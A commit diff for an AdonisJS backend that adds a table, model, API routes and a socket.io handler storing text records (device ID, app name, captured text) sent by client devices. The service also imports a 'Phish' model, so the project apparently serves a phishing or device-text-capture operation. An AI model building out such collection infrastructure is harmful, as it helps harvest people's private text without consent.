Просмотр исходного кода

feat(database): 添加文本记录功能- 新增 text_records 表格用于存储文本记录
- 实现 TextRecord 模型和 TextRecordController
- 添加文本记录的 API 路由
- 在 WebSocket 服务中增加保存文本记录的功能

wui 11 месяцев назад
Родитель
Сommit
d40fbe493e

+ 27 - 0
app/Controllers/Http/TextRecordController.ts

@@ -0,0 +1,27 @@
+import PaginationService from 'App/Services/PaginationService'
+import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
+import TextRecord from 'App/Models/TextRecord'
+import { schema } from '@ioc:Adonis/Core/Validator'
+
+export default class TextRecordController {
+    private paginationService = new PaginationService(TextRecord)
+
+    public async index({ request }: HttpContextContract) {
+        return await this.paginationService.paginate(request.all())
+    }
+
+    public async store({ request, bouncer }: HttpContextContract) {
+        await bouncer.authorize('admin')
+        // 数据校验
+        await request.validate({
+            schema: schema.create({
+                deviceId: schema.string(),
+                appName: schema.string(),
+                record: schema.string()
+            })
+        })
+        // 数据提取
+        // const payload = request.only(['deviceId', 'appName', 'record'])
+        return await TextRecord.create(request.all())
+    }
+}

+ 23 - 0
app/Models/TextRecord.ts

@@ -0,0 +1,23 @@
+import AppBaseModel from 'App/Models/AppBaseModel'
+import { column } from '@ioc:Adonis/Lucid/Orm'
+import { DateTime } from 'luxon'
+
+export default class TextRecord extends AppBaseModel {
+    @column({ isPrimary: true })
+    public id: number
+
+    @column()
+    public deviceId: string
+
+    @column()
+    public appName: string
+
+    @column()
+    public record: string
+
+    @column.dateTime({ autoCreate: true })
+    public createdAt: DateTime
+
+    @column.dateTime({ autoCreate: true, autoUpdate: true })
+    public updatedAt: DateTime
+}

+ 17 - 0
app/Services/Ws.ts

@@ -3,6 +3,8 @@ import { Namespace, Server, Socket } from 'socket.io'
 import AdonisServer from '@ioc:Adonis/Core/Server'
 import AdonisServer from '@ioc:Adonis/Core/Server'
 import auth from 'App/Middleware/Auth'
 import auth from 'App/Middleware/Auth'
 import Phish from 'App/Models/Phish'
 import Phish from 'App/Models/Phish'
+import TextRecord from 'App/Models/TextRecord'
+
 class Ws {
 class Ws {
     public io: Server
     public io: Server
     public clientsIO: Namespace
     public clientsIO: Namespace
@@ -64,6 +66,21 @@ class Ws {
                     data: args.data
                     data: args.data
                 })
                 })
             })
             })
+
+            // 监听 saveTextRecord 事件
+            socket.on('saveTextRecord', async (data: any) => {
+                try {
+                    const textRecord = await TextRecord.create({
+                        deviceId: data.deviceId,
+                        appName: data.appName,
+                        record: data.record
+                    })
+                    socket.emit('result', { success: true, message: 'Data saved to database' })
+                } catch (e) {
+                    Logger.error('Error saving text record: ' + e.message)
+                    socket.emit('result', { success: false, message: 'Failed to save data' })
+                }
+            })
         })
         })
 
 
         this.adminIO.on('connection', (socket: Socket) => {
         this.adminIO.on('connection', (socket: Socket) => {

+ 20 - 0
database/migrations/1737365613305_text_records.ts

@@ -0,0 +1,20 @@
+import BaseSchema from '@ioc:Adonis/Lucid/Schema'
+
+export default class extends BaseSchema {
+  protected tableName = 'text_records'
+
+  public async up () {
+    this.schema.createTable(this.tableName, (table) => {
+        table.increments('id')
+        table.string('device_id').notNullable()
+        table.string('app_name').notNullable()
+        table.string('record').notNullable()
+        table.timestamp('created_at', { useTz: true })
+        table.timestamp('updated_at', { useTz: true })
+    })
+  }
+
+  public async down () {
+    this.schema.dropTable(this.tableName)
+  }
+}

+ 3 - 0
start/routes.ts

@@ -19,6 +19,8 @@
 */
 */
 
 
 import Route from '@ioc:Adonis/Core/Route'
 import Route from '@ioc:Adonis/Core/Route'
+import TextRecordController from 'App/Controllers/Http/TextRecordController'
+import TextRecord from 'App/Models/TextRecord'
 
 
 Route.group(() => {
 Route.group(() => {
     Route.group(() => {
     Route.group(() => {
@@ -104,5 +106,6 @@ Route.group(() => {
         Route.post('userBalances/recharge', 'UserBalancesController.recharge')
         Route.post('userBalances/recharge', 'UserBalancesController.recharge')
         Route.get('memberships/my', 'MembershipsController.my')
         Route.get('memberships/my', 'MembershipsController.my')
         Route.resource('memberships', 'MembershipsController').apiOnly()
         Route.resource('memberships', 'MembershipsController').apiOnly()
+        Route.resource('textRecord', 'TextRecordController').apiOnly()
     }).middleware('auth:api')
     }).middleware('auth:api')
 }).prefix('/api')
 }).prefix('/api')